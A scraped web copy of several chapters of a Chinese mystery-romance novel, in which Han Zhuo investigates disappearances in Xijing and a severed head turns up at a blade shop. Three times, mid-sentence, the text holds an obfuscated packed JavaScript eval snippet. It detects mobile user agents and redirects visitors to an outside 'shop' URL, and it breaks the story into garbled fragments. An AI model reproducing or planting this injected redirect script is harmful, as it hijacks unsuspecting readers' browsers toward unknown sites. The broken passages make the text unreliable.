韩濯诺诺应是,只觉得糟老头子古往今来都是最难伺候的,但见韩胤脸色苍白仿佛死过一回,眼中神色却有几分犹疑,只好又开口道:“冒犯伯父了,但有一事不得不问,伯父可曾有什么仇家?” “你什么意思?” 韩濯将来龙去脉讲清,见堂中无旁人,将那血书呈了上去。 白县令一见此书,神色剧变,方才还中气十足地骂人,此刻却仿若快要气绝一般,口中喃喃“造孽啊”,顷刻间就晕倒过去。 屋中顿时乱作一团,请郎中的,大呼小叫的,喊白县令名字的,把人搬到卧房去的...韩濯直起了身,若有所思。 韩胤与韩濯一同出了县衙,问道:“阿濯,你可是想到了什么?” 二人的关系有所缓和,韩濯和自家大哥说话也渐渐不那么别扭起来:“是,想必兄长也在顾忌此事。” 韩胤叹道:“此诗若是真的是题给岳父看的,那当真不好办了。” 若白逸真的心中有鬼,那他给出的信息也注定经过修改隐瞒,做不得数。 “总之,日后白大人所言不能全信,我们也要留个心眼。”韩濯从腰间取下匕首,道:“兄长,你似乎刚刚就有了主意,可是认得这匕首的来历?” 那匕首外表朴实无华,刀柄底部却用红墨印了“亥”字,韩胤点点头道:“西京酒楼‘烟雨楼’表面上只是普通的宴请宾客之地,实际上是个剑铺,老板是个奇人,身份神秘从未露面,卖的刀却极好,西京的刀客所用之刀大多都为烟雨楼所锻造,而这匕首便是出自烟雨楼。” 韩濯听罢便道:“既然如此,不如先去烟雨楼,这匕首主人是谁,他们想必有所记录。” “不急。”韩胤道:“烟雨楼有规矩,不同时辰所售刀器和卖刀的刀匠各不相同,看这匕首的标识,我们需亥时前往。” 二人约定好亥时便在烟雨楼会面,韩胤急匆匆吩咐亲兵封锁西京门,另带了几个人手四处去寻白兰茵,韩濯不太想没头苍蝇一般胡乱寻找,决定先去烟雨楼探一探。 烟雨楼离那繁华的西街不远,就在与其交汇的百草巷内,可人却寥落得很,韩濯孤身前往,明明艳阳高照的时辰,却觉得鬼气森森,前两日刚下过雨,靴子踩在石板上发出清脆中带着湿黏水汽的响声,韩濯有些发毛,行过不到百步,便见着了烟雨楼的牌匾,她忙舒了口气加快脚步。 而这时,指尖突然传来了一阵黏糊糊的触感,她尚未来得及抽身,手腕便被紧紧攥住,韩濯猛一回头,首先瞥见攥住她的那只手。 那根本不能称作是手,简直是鬼的爪子,苍白如雪,上面遍布黑青色斑痕,指缝和手的褶皱中里全是黑泥,腐烂一般的潮湿触感,还散发出一股尸臭气。 韩濯险些尖叫出声,方欲甩开,蓦然发现这手的主人。 来人是个说不清岁数的老者,之所以说是说不清岁数,是因为韩濯从未见过这样的老人,老成这样还能活着,只可能是被阎王爷遗忘了,他简直缩水成了孩童那般高,眼皮松弛堆积乃至看不见眼睛,稀疏的白发近乎要掉光了,还有那张脸,这哪里是脸,简直是堆在角落全是褶皱的灰色布袋子,他浑身散发着腐烂般的气味,这味道韩濯只在前世患了癌症临终前的人身上闻到过。 这哪里是人,明明是地狱中的鬼才对! 韩濯好不容易平复下来自己砰砰直跳的心脏,刚想挣脱开手,那布袋子其中一个褶皱裂开,发出了喑哑细弱的声音,哦,这是混迹于褶皱中的嘴。 “大人,大人,您有没有见过我的孙女......” “老人家,您先松手。”韩濯挣开了这人,那人被带得踉跄几下,仍喃喃道:“我的孙女,大人,您行行好。” 韩濯定了定神,问道:“老人家,您先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那铁匠脱口而出道:“没有!”旋即便后悔了,眼珠在眼眶里转了一圈道:“不过...” 韩濯道:“不过什么?” 那铁匠捻了捻胡子,摩挲起了拇指。 韩濯:...... “话说那礼部侍郎家的公子,之前被这尸老儿堵在路上,第二日就摔断了腿,还有钱家公子,也是遇见了那...” 韩濯不耐烦打断道:“这些不算,我只想知道,咱们这有没有丢过什么人,失踪了,死了的都行。” “小哥儿你还挺重口...没有。” 韩濯立刻要走,却被这铁匠拉住了:“我想起来了,不过不算一个人。” “不是人,是鬼不成?” “年纪轻轻还是少看些志怪话本,”那铁匠不屑道:“什么鬼不鬼的,我说这不算一个人,是说不是一个,是一群,也不算失踪,只是没看见她们何时出的城。” 韩濯忙俯下身:“什么意思?” 铁匠道:“西京城繁华,歌者舞者数不胜数,这几年有不少城外来讨生活的乐匠歌女,虽没看到她们混出什么名堂,可这几年来西京的乐者反倒越来越多,没见她们出过城,却也没怎么在那销金窟见过几个城外来的...” 这偌大的西京城,那些外来的歌女竟然凭空消失了! 注:①“官仓老鼠大如斗,见人开仓亦不走”出自唐代曹邺的《官仓鼠》,隐喻官员贪污腐败。 5. 刀楼头颅 “这么说,她们是不见了?” “这么说倒也没错,不过也不对,谁也不会盯着那些来京城卖艺的女人的行踪,许是早早就出了城没人看见罢了。” 韩濯急问:“那就没人报官?” 铁匠不屑地嘘了一声:“报什么官,谁会注意一个陌生外乡人是死了还是走了,是一个还是一群,压根没人管,真是,小题大做。” “诶不过,”这铁匠又说:“一个多月前有个江湖人,非说她结拜妹妹丢了,到官府报案,被人打出来了。” “为何?”韩濯问道。 “哼,她口中的姐妹,压根就没人见过,根本啊,就没这个人。她在西京城这些年向来独来独往,哪来什么结拜妹妹,从前也从没听她提过,估计这是凭空捏造出一个人,我看是她发了癔症。要我说,是她这个年纪了还不嫁人闹得...” 韩濯不再想和这人再讲话了,起身告辞,铁匠却盯上了她剩下的半吊钱,韩濯不动声色把钱袋子抽走了,拎着那铁匠强卖给她的"辟邪宝刀"唬了铁匠一下,那人躲都不躲。 韩濯这才细看那刀,简直尽粗制滥造之能事,刃也没开,几乎一块废铁,她自我安慰至少还能敲个瓜,在房中木案上试了一下,木案岿然不动毫发无伤。 韩濯无语凝噎,心里为刚才花出去的钱肉疼,未等她心疼完,那刀不堪方才重负,闪亮亮地豁了口。 亥时,烟雨楼。 韩濯在巷角与韩胤接了头,如韩濯所料,他整日一无所获,韩濯便简要将今日那铁匠的话交代了一番。 “你怀疑阿茵失踪和这些事有关?” 韩濯摇摇头道:“也未必,听起来,作案的应当不是一波人。” 韩胤点头,之前失踪的都是没名没姓,在西京城无亲无故的流浪歌女,就算失踪了也鲜少有人注意,而劫走堂堂英武侯夫人的那歹人,像是生怕不把事情弄得满城皆知一般。 “不过失踪者皆是女子,很是蹊跷,尽管我知道那些歹人轻易不会对阿茵下手,我...我还是担心。”韩胤心事重重道。 说话间,二人已入楼内,大齐不设宵禁,这百草巷虽然并没有西街繁华,却有不少背剑提刀的江湖客匆匆经过,大半人以黑纱遮面,默契地不发一言,仿若成群的幽灵,韩濯抬眼,看向那块有些潮湿发霉的匾,“烟雨楼”三字却很有筋骨,似是名家手笔。 甫一进门,韩濯便被楼中布局惊了一下,这楼窗户全被麻布封死,里面却灯火通明,共有三层,并无大堂,每个房间都是大门禁闭,正对大门的,就是今日坐堂的刀匠。刀匠旁边挂了两个牌子,上用两行乱七八糟的字体题道: 剖心切胆,杀/人无痕。 定金四两,童叟无欺。 韩濯咽了口唾沫,这些刀匠到底太明目张胆了些,她隐隐担心自己若是孤身前往,说不定就真被人剁了。 刀匠以黑布蒙了全身,看不出年龄,身材不算高大,觉察韩濯靠近,眼也不抬便道:“生瓜排到下月,薄上留号,一式两份,到期来取。” 这声音竟然是个女人。 韩濯没太听明白,觉得这楼里不简单,也不敢贸然应答。 韩胤明显也不懂,皱了皱眉头,刀匠见良久无人应,终于抬起头来。 烟雨楼里,露脸的可是稀客,那刀客露出的眼睛微妙地眯了起来。 韩胤不想在这和她神神秘秘地有来有往,走上前去腰牌一亮:“奉命查案,账簿何在?” 那刀匠缓缓起身,韩濯简直捏了一把汗,不知这刀客是否要发难。 片刻后,韩濯和韩胤被格外殷勤地领到内间。 “原来是官府老爷,哎呀失敬失敬。” 那挂在两边的牌子不知道什么时候被翻了面,韩濯扫了一眼,背面竟是:磨剪子,锵菜刀,一文不取,老少咸宜。 倒是很有生活气息。 刀匠怂得很快,没少拉低韩濯的预期,殷勤地给两人倒了茶,韩胤没接,皱眉道:“账薄。” 那人“嘿嘿”两声,道:“拿不出来。” 韩胤也没废话,迅速起身,顷刻间,韩胤的佩刀已然架到了她脖子上。 “别呀官爷”那女人嘻嘻道:“我实话实说,的确拿不出来,我没有账本。” “怎可能?”韩胤沉声道:“方才你说若是第一次找你买刀的,需要留号,一式两份,你那里怎可能不记账薄!” “官爷不用吓唬我,我说得也是实话,我冯一刀向来是最讲信誉的,人家付了钱,我只等他们拿着票子来兑货而已,至于账,我从来是财不留过夜,记那劳什子做什么用?” 冯一刀也不怕,一边将韩胤的刀推开一边嘿嘿地笑,韩濯觉得她精神不是特别正常,冯一刀点了点脑袋,又道:“虽然不记账,可我有个本事,也可以说是个绝学。” “我自己打的匕首,卖的刀,卖给谁,那人长什么样,就算过了八十年,我也记得出来。” 韩濯与韩胤对视一眼,抽出那把匕首:“那你看看,这一把,当初卖给了谁?” 冯一刀拿了去,也不知道她是怎么看的,随意扫了两眼就道:“这把我打得不怎么样,贱卖了不少银子,买主是个男的。” “你看仔细了,不要有什么差池。”韩胤冷冷提醒。 冯一刀十分不满:“若不信我,大可去打听别人。” 韩濯连忙道:“师傅的话自然是信得过的,试问那男子长什么样子,多大年龄?” 冯一刀想了想道:“蒙着面,个子不矮,二十几岁的样子吧,看打扮,像个龟公......” 话音未落,门外突然一阵喧嚷,竟然隐隐有刀剑之声,像是有人在缠斗。铁刃铮铮之音越来越近,不多时,那帮人似乎到了楼内。 “是何人,竟敢在烟雨楼放肆!”冯一刀朗声道,可似乎他们并不理会她的虚张声势,下一秒,内间被厚布包裹的窗被一把长刀从外刺将进来,滚滚烟尘瞬间奔入屋内,韩濯二人快速抽身避开,而那木门似乎不堪重负,发出了一阵喑哑的声音后“噼啪”一声,整个碎了。 一个衣着古怪道袍的女子冲了进来,而她冲进来的原因,也立刻得到了揭晓,她身后一个油头粉面的男人气喘吁吁立在报废了的木门上,手中正是方才那柄长刀,那男人道:“李三三,快把东西还来!” 被称为李三三的姑娘站在桌子上,旁边是已经狼藉一片的茶碗,她尖声叫道:“那是我妹妹留给我的,凭什么要给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640119|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你!” 韩濯定睛一看,那李三三提着一包东西,看上去似乎很有分量,而那个男人又道:"别不识抬举,你三番两次进我金粉阁骚扰,我们以为你发了癔症,是可怜你无亲无故,才幻想出来一个妹妹,因此未曾和你计较,没想到,你打得却是我们这银子的主意,竟然把它偷抢了去,我劝你赶快把东西放下,我大人有大量,不告到官府那里去!" 这两人旁若无人有来有往,当韩濯三人是空气,而冯一刀却突然坐不住了,她眯起的眼睛在那男人身上扫视,突然高声道:“是他!官爷,买我匕首的那个就是他!不会错!” 李三三一时失神,被那男人见缝插针逼将上来,李三三腰身向后一弯,如同一株被雪压低的竹,避开了锋刃,可身后却被刀柄抵住,李三三回头,对上了韩胤带着寒意的眼睛。 那男人屁颠屁颠跑过来,对韩胤道:“多谢官爷,我......” 韩濯反手一挥,用刀柄狠狠一击这人手腕,卸了他长刀,下一秒这男人的脖子上也抵了匕首,闪亮地叫嚣着要取他狗命。 这二人鹬蚌相争,韩濯竟突然觉得她成了得利的渔翁,一切近乎顺利得令人不可置信。 李三三提着包裹死不松手,韩胤反手打上了她臂上麻筋,李三三吃痛,那包裹便“咚”地掉在地上,听起来并不像金玉银子一类,响声沉闷闷的。 众人都去盯那包裹,谁都没有妄动,就在这时,门外突然传来了一声“吱呀——”响声,声音格外悠长,在一片寂静中突兀无比。 “什么人!”韩濯分不开手,将李三三的包裹用靴尖挑起,踢向门旁布窗,伴随着重物砸中的声音,窗后人一声惊叫,韩濯惊觉这声音耳熟,待烟尘散尽后定睛一看,差点惊掉下巴。 跌坐在地怀中被包裹砸中的,竟然是宋青瑛。 “殿——阿瑛?”韩濯讶然。 “呜呼——”冯一刀从满是碎木头的角落探出头,吹了一个并不响的口哨,挤眉弄眼道:“今天真是热闹!” “等一下,这,这是什么!”宋青瑛不顾摔痛了惊叫道,她赶紧起身,怀中包裹咕噜咕噜滚下来,又滚到了韩濯脚边。 韩濯给了要阻止她查看的男人一眼刀,拾起那包裹,不算轻,却绝不是银子,更怪异的是,那包裹被一番折腾,似乎洇湿了,隐隐约约一股及其恶心的味道透过布料传出来。 宋青瑛赶快跑到韩濯身侧,见她皱眉,小声道:“抱歉,我去寻你,听侯爷家侍女说你们要去烟雨楼,我才......” 韩濯好像并没有理人的意思,宋青瑛住口低下了头,事实也是如此,韩濯注意力全在那个包裹上面,根本没注意周围谁说了什么。 她走上前去调转匕首,朝那包裹一划。 一颗不知是什么的玩意滚了出来,黏糊糊的恶臭,缠着一团黑色头发般的东西,不对,那就是头发!黑红色的液体滴答到桌面上,恶臭瞬间溢满整个屋子,韩濯恶心地差点作呕,却看见宋青瑛在一旁小脸煞白,忙伸手捂住了他的眼睛。 这东西面部已经青黑肿大,辨不出五官,可韩濯还是看到了右耳上面有一块黑色的皮肤,正是一块胎记。 这竟然是背尸匠孙女小蘋的头颅! 6. 消失宫女 从衙门出来时,天际已经微微发白,韩濯捏了捏鼻梁,她眼眶发酸,此刻困意早无,只觉疲累,韩胤在她身侧缓步而行,也是一夜未眠。 “虽然释放了李三三和冯一刀,但这二人也古怪得很,还需要多注意她们行踪。” 韩濯点了点头,审问了那龟公屠老二一夜,仍然一无所获,虽然屠老二承认匕首确实是他的,可是他又声称这匕首早早就丢了,遍寻不到,那小蘋的头他更是一无所知,根本不明白这金粉阁的财物怎么就变成了头颅。 李三三说她起义妹留给她的东西时也言语颠倒,究竟是她精神失常幻想出了一个人,还是有什么其他原因? 韩濯叹了口气道:“兄长,你还是回去休息一阵,你身子不好,吃不消的。” 韩胤竟然没有和她犟,只点了点头,看来真是强撑了许久,走了两步后又回头对韩濯道:“阿濯,若有消息,务必告知,拜托了。” 韩胤嘴唇煞白,韩濯看着吓人,忙吩咐人把大哥送回侯府,他这娘胎里带的旧疾,能让他活到成年已是奇迹,如今万一被这遭意外一激,韩濯还真怕他出什么事。 韩濯忍着疲累善了后,方欲打道回府,出门到了前院却是一愣。 宋青瑛披着斗篷,正在院里等她。 “殿下?不是吩咐人送你回家了么,怎么...” 宋青瑛好像不大自在,脚尖一直在地上摩挲,手中提了个油纸包,见了韩濯十分不自然地递了过去道:“睡不大着,这是些酥饼,你饿了一夜,也垫一垫肚子。” 韩濯谢过,自己竟然要这小孩子操心,一时间也有些不好意思,二人毕竟表面上是夫妻,她却常常不着家,也对他关心少些,外人看起来多少有些负心薄幸,她没拆开油纸包,晨光映照下宋青瑛长睫迎着霞光,纤弱轻巧的,看上去有些可怜。 韩濯突然就明白了一般,开口道:“殿下,您是不是害怕?” 宋青瑛没反应过来,抬起头瞧韩濯,听那人懊恼道:“抱歉,昨夜让殿下受惊了,公主府里人丁单薄的,怪我,怪我。” 他赶忙摆手道:“不,不是,我是...” 难道要说是关心她才特地来县衙找她么,非亲非故的,自己哪有资格。 宋青瑛又低头不做声了。 韩濯笑眯眯道:“殿下害羞什么,我小时候也怕鬼。” 宋青瑛来了精神:“真的?”韩濯这些外人不知的小事,他格外有探索欲。 “当然是真的。”韩濯胡诌道:“我那时贪玩,夜半三更埋在被子里读志怪话本,窗外突然有夜枭扑窗,我吓得直哭。” 见韩濯说得坦荡,宋青瑛也笑了起来,韩濯看他脸颊软绵可爱,真想伸手捏上一捏,但想归想,到底也没敢。 沉默半晌,韩濯咳了一声,提议道:“西街的早市应当已经开了,不如我们吃过了再回。” 宋青瑛胡乱点了头,二人并肩而行,在西京城这些日子来格外骚乱的背景下,竟是难得的岁月静好。 胡记云吞摊早早营业了,老板见了韩濯,老远就开始打招呼:“呦,公子今天来得早,还是老样子?诶,这位姑娘是...” 韩濯笑道:“好几天不来,就馋老胡你这一口,这位是我妹妹,阿瑛你看,吃些什么。” 宋青瑛拘谨道:“一样便好。” “好嘞!”老胡接了生意,兴高采烈地拍了拍手上的面粉,转头忙去了。 宋青瑛环顾四周,时候尚早,人还不是很多,但摊贩都支起了棚子,整条街弥漫着肉馒头的味道,烟火气浸透了整条街,人在其中都舒坦了些。 韩濯清了清脑子,暂时不去想那些乱七八糟的事,云吞端了上来,热气腾腾熏得眼睛很舒服。 “殿下从前来过西街么?” 宋青瑛回过神,道:“来过,不过早市,未曾。” 韩濯把胡椒朝宋青瑛那边挪了挪,道:“加些这个试试。” 宋青瑛见了这灰白色的粉末,有些犹豫,闻了闻却被呛了一下,韩濯没忍住笑出声来,宋青瑛的脸立刻红成一片,随便舀了几勺。 “哎哎哎,多了多了。”韩濯手忙脚乱地抢过勺子,帮宋青瑛搅了搅。 这云吞看上去平平无奇,没什么过人之处,宋青瑛试探地咬了一口,舌尖先是被烫了一下,而随即混着恰到好处油脂的汁水流了出来,咸香的滋味充满整个口腔,软绵绵的面皮温柔地包裹住扎实的肉馅,从口腔暖到了胃里,胡椒粉的辛香非常好地融合到了面汤中,画龙点睛一般淡化了猪肉的荤腥味,是一种十分朴实的好吃。 韩濯看这小丫头眼睛一亮,随即二话不说埋头苦吃,心知自己带他来对了地方,估计小公主从小到大不是在庙里嚼菜叶子就是在宫里用些驴粪蛋子表面光的玩意,还得讲一些屁用没有的规矩,哪里吃过人吃的食物,就也不打搅他干饭,笑眯眯看着他吃。 宋青瑛碗底空了一半时才抬头,发现自己竟然被当了佐饭的小菜,韩濯没怎么动筷,单手托腮饶有兴致看着他,宋青瑛脸轰地红了:“做什么瞧我。” 韩濯一愣,随即笑道:“阿瑛面皮真是薄,我没什么胃口,但看阿瑛吃得香,我便饱了一半了。” 宋青瑛有些恼,伸手给韩濯碗里舀了半勺胡椒,推了推韩濯的碗,催促道:“快吃。” “遵命遵命。”韩濯答应得也不怎么正经,嘴没堵住一会儿又问道:"阿瑛竟然来过西市,看你性子也不是爱玩的,我还以为你从前没出过宫。" 宋青瑛吃完了,有些犯困,他点了点头道:“很少,但我总想办法跑出来几回。” “什么?”韩濯以为自己听错了,这看着乖乖巧巧的小公主竟然有叛逆的一面,听起来偷溜出来很多次。 “嗯,没几个人知道。”他看了看韩濯:"只告诉过你,连四娘——我宫里的嬷嬷都不知道。" 听起来,自己竟然非常荣幸,韩濯只愣了一下,便道:“我的天,殿下也真是厉害,怎么出来的?” “宫墙有好几处年久失修,很多缺损处被杂草盖着,狗洞不少。” 宋青瑛没想到竟然被夸,竟然有些得意,韩濯这种诡异的鼓励态度虽然荒唐,却让他心里十分舒服。 “真是人才。”韩濯喃喃道:“那阿瑛出宫,也玩了不少东西?” 宋青瑛噎住了,他一时词穷,总不能说他大多数次出门是为了买韩濯的文章和编排他的话本吧。 韩濯哪里知道宋青瑛出门是为了买偶像周边和 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那日早晨,他和往常一样醒来,罗衣这些日子身体不舒服,他便也没随便叫她,宋青瑛在宫中的居所偏僻,宫女也少,可今早来伺候的小姑娘,宋青瑛从未见过。 “你是谁,什么时候来的?” 那小姑娘笑笑道:“回殿下,奴婢名叫银笙,皇后娘娘心疼殿下宫里人手不够,派奴婢过来伺候的。” “罗衣呢?” “罗衣,什么罗衣?” “我的贴身宫女啊。”宋青瑛疑惑道,按照常理,若有新人来,定然是罗衣来嘱托她们各类琐事。 银笙笑道:“奴婢还以为是殿下新得的衣裳,原来是名字,可殿下府上只有一个银杏姐姐,并未听说有什么罗衣姐姐啊。” 宋青瑛觉得蹊跷,他饭也没吃,去寻专司洒扫的宫女银杏,银杏竟也一脸茫然,仿佛从未见过罗衣,他们三人一同打秋千被四娘呵斥的日子,似乎从未存在过。 宋青瑛觉得自己坠入了可怕的噩梦,他在宫中疾走,逮到一个人就拉住他询问罗衣的行踪。 他从晨阳高照奔走到暮色沉沉,无一例外。 没有人认识罗衣。 可是错不了的,他突然想了一件重要的事。 他跑回房间,翻出箱底冬日常穿的大氅,细看肩部,绣着一株栩栩如生的兰草,没人会在这地方做绣工,除了罗衣。 宋青瑛记得,他这衣服曾被梅花枝划破,罗衣擅长女红,半夜挑了灯给他补,为了遮盖痕迹,心思巧妙地绣了一株别致的兰花,她的绣工和旁人都不一样,用针细腻,颜色自然,造型朴实清新,这样的手艺宫内也少有。 宋青瑛仿佛找到了救命稻草,抱着大氅把气喘匀,他抱着自己没有疯掉的唯一证据,明明春意正盛的季节,却仿佛快要在风雪中冻毙。 “你不相信。”宋青瑛看着韩濯若有所思的脸,他叹了口气:“这也难怪,三人成虎,何况全天下的人证言都相同,有时候我也觉得是我疯了...” “不。”韩濯说道。 韩濯站起身,想到李三三,想到宋青瑛,这接二连三的咄咄怪事绝对不是巧合。 “事出定然有因,阿瑛,我们先回家修整,今晚我要去金粉阁一趟。” 7. 桃色秘闻 “这几年不打仗,西京城越发热闹了。” 韩濯理了理衣裳,她今晚穿了一身月白底金色团花锦衣,本是这些日子来京城纨绔当中流行的试样,偏偏教她穿出了与众不同来,西市灯火辉煌,愈发照得她气度出尘,恍若月中仙人。 宋青瑛附和了一声,韩濯本来并未打算教他跟着去,可宋青瑛执意前往,便也作罢,韩濯本想着他扮男装要颇费功夫,没想到宋青瑛的骨相虽然柔和,却是男女皆宜的好样貌,一身朱红袍子和那额上朱砂相映成趣,倒像个富贵人家的小公子。 “陛下要是知道臣带殿下来这种地方,会不会活剥了我……”韩濯喃喃道。 他二人欲探金粉阁,便要装成西京中那些金玉其外的草包公子,宋青瑛是个正正经经的金枝玉叶,韩濯临了又忧心起来,这要是进了楼碰见什么不雅场景可怎么办,如果她十八禁工作做的不好,小孩子看了要长针眼的。 金粉阁地处西市巷尾,二人缓步而行,都装得四平八稳,韩濯低声道:“一会儿若是韩某有言辞不雅之处,还请阿瑛海涵,情况特殊,情况特殊。” 宋青瑛表示理解,可片刻之后讷讷问道:“你从前去过?” “嗯,去过几回。” 西京官宦人家子弟,去这等地方玩乐不算稀罕,虽然不是什么光彩事,但也没什么不好承认的,韩濯从前不得不和那些纨绔应酬时,也免不了俗。只不过硬件限制,充其量喝喝酒听听曲儿,也干不了什么其他太出格的事。说起来,她还真记得金粉阁一个唱曲儿的姑娘,弹得一手好琵琶,面容虽已模糊,但一曲动宾,至今难忘。她虽然不怎么爱和这些草包富家子相交,但有时候邀约在金粉阁时,若赶上她心情憋闷,也会一口应下来,在这金粉阁里呆上一阵,听南曲婉转咿呀,神思便也缱绻起来,什么烦心事都能搁上一隔,再配上一壶女儿红,简直是神仙也难得的滋味。 “崔公子曾和你一起来么?” “未曾,阿瑛为何提他?”韩濯心里纳闷。 半天后才反应过来,在宋青瑛的认知里,她和崔倍的关系并不怎么清白。 宋青瑛沉默,似乎十分不认可,韩濯有点受不了了,她想起崔倍那张真挚诚恳的脸和他二人同窗的岁月,只觉得十分对不起崔子盛一颗赤诚之心,他二人实打实的友情也遭受了玷污。老天啊,能不能让她在不掉马的前提下对小公主说明白,她和崔子盛二人是清清白白,天地为鉴的纯友谊啊。 宋青瑛一直低头不语,其实他心里明白得很,这些大户人家在男女方面没什么经验的才是少数,婚前就好几个通房丫头的更是司空见惯,男人初长成又都有些舒缓的需求,谁年少时没有荒唐过。 可在潜意识里,他对韩濯的印象依旧是多年前那个一身孝服素衣的少年,他在暗处仰望久了,见过韩濯的许多面,见过她年少失怙时的沉默和坚韧,见过她醉中舞剑的青衫落拓,也见过她高中状元打马游街时的年少风流,但他实在想象不出一个在这销金窟里眠花宿柳的韩濯。 他偏偏认定她是例外。 宋青瑛的眼神实在可怜,那眼睛里空落落的,却还勉强挤出了点得体的笑容,韩濯承担不住这样的眼神,愣了半晌,莫名其妙地产生了天大的负罪感。 她纠结一会儿,终于又开口道:“只是应酬,没干别的,他们也不敢灌我酒。” 宋青瑛似乎好受了些,顾左右而言其他:“喝酒伤身,是应当少喝。” 他在心里暗暗唾弃自己,韩濯察言观色的本事实在一流,他做出这样的脸色又给谁看呢,难怪自己从小到大形单影只,这种性子惹人讨厌也是应该的。 "殿下到底是听谁说我和崔子盛非同一般的?" 宋青瑛还沉浸在对自己的批判当中,突然被韩濯这么一问吓得头皮一炸,他回头去看韩濯,此人脸都憋红了,看向宋青瑛的眼神有点气恼。 宋青瑛有些愣愣的,没料到他二人有一天的对话竟然会论到这一茬,他心虚地摸了摸鼻子,偏过头去。 他这一偏头,又吓了一跳,这一下可是冷汗都出来了,急忙转身试图藏在韩濯身后。 但于事无补,他没想到今日那书贩子的摊摆在了这儿,书摊老板瞧见了熟客,大声嚷嚷道:"啊呀宋小公子,第四卷昨日才出,我给你留着呢,快来取啊!" 韩濯疑惑道:“是叫你么?” “不是!”宋青瑛急道:“快走!” 可韩濯先于他的话音迈开了腿,饶有兴致地翻看起来:“原来是卖话本的,没想到阿瑛你也喜欢......” 宋青瑛觉得天塌了,为什么苍天不让他当场暴毙幼年早夭,他只能暗暗祈祷韩濯别翻得太细,可是老天并没有遂他的愿。 “宋小公子怎么不过来?哎呀要不要给您的朋友介绍一下,公子,这可是......”那书贩子神神秘秘压低了声音,对韩濯附耳道:“这新出的第四卷,市面上可不好买,我卖得也小心,这要是被抓到了,多少条命也不够我死的。” “哦?”韩濯挑起了眉。 “哎呀,毕竟韩濯已经是驸马爷了嘛,我们要是把他以前这段畸恋大张旗鼓抖出来,也没这个胆子啊,公子你且看且珍惜吧......” 言罢那书贩子还煞有介事地长叹道:“自古以来,有情人都难成眷属,公子你看了便知,这段情缘虽然不为人知,亦不为世人所容,但真是荡气回肠啊......” 一炷香后韩濯手中拿着《鹭桥残梦》的第四卷,精神恍惚。 谁能解释一下,这个搞强制爱的变态是谁?她曾就读书院中的鹭桥怎么就成了她和崔子盛定情之地,她二人在公主府后院互诉衷肠颠鸾倒凤的情节又是什么?什么叫:虽不能长相厮守,但求金风玉露,佳期如梦? 好歹按这部书的内容来看,自己还是居于上位,看来实力还是有的。 我一定是疯了。 自己还想着保护少年儿童的心理健康,没想到长针眼的是自己。 她举起这本书,木呆呆地看向宋青瑛,深受打击,另一只手哆嗦着指了指书,又指了指自己:“我么?” 宋青瑛知道自己闯祸了,不敢吭声,沉重地点了点头,韩濯身体晃了两下,他赶紧伸手去扶。 韩濯摆了摆手,强行镇定下来,内心却疯狂咆哮:老娘上大学时被舍友写成花市文主角也就算了,就当帮助同学发展爱好缓解压力,可怎么到了大齐还要被人编排啊啊啊啊! 作者真的不属于侵权吗? 赔老娘精神损失费! 这也难怪,同人的力量是真实的,强大的,不容置疑的,不要说现代的伏地魔林黛玉这等邪教,更不必说某站一堆真相是真的各色CP剪辑,就说古早拉郎,梁山伯祝英台都能变成官配上演穿越时空的爱恋。 她艰难道:“我不知道你误会什么了,但我和崔子盛,只是同窗好友,清清白白,苍天可鉴。” 宋青瑛愣愣看着她。 “你如果说你不信,我真的要晕过去了。” “不不,我信,我信。”宋青瑛赶紧道。 “你看起来很失望。” “抱歉。”宋青瑛光速道歉。 韩濯想了想,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640121|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是补充道:"不过我倒是确实喜欢男人,这一点你没有搞错。" 宋青瑛抬起头,话没过脑子,问得有点傻乎乎:“真的啊?” 韩濯无语,她虽然母单多年,但取向还是非常明确的:“假的你就信了?” 她迈开长腿朝金粉阁门口走去,宋青瑛愣了一下,也快速跟了过去。 倒是神奇,经过这么一番乌龙,他二人倒是不那么客气,逐渐熟稔了起来。 韩濯摇了摇脑袋,尽量不去思考宋青瑛和那卷糟心的书,大摇大摆进了金粉阁的门。 方一入堂,便有几个丽人袅袅婷婷地贴了过去,嬉笑声宛如莺啼。韩濯二人的样貌格外引人注目,衣着打扮也讲究,老鸨见了便喜气洋洋从楼梯上迎来:“诶呀今儿来了二位贵客,公子有什么吩咐?” 韩濯随便搂了个漂亮姑娘,颔首道:“备一间上房,今晚我兄弟二人在此过夜,好酒好菜随便上一些。” 那姑娘虽然久经风月,却也难得见到这样的人物,韩濯虽然动作轻挑,周身气度却和自己平日所见那些周身酒气冲天色眯眯朝人身上赖的客人不同,韩濯搂着人,眼神却是干干净净不带审视的,她看着韩濯的俊脸,一时间竟然被唤起了深埋已久的少女春情。 不料韩濯看了看她后道:“姑娘虽美,但鬓间这金钗未免俗气了些,和这藕色罗裙并不相配,不若以海棠替换之,更嫌别致。” 韩濯伸手,不知从哪里摸出一朵含苞的海棠花,插在了那姑娘鬓边。 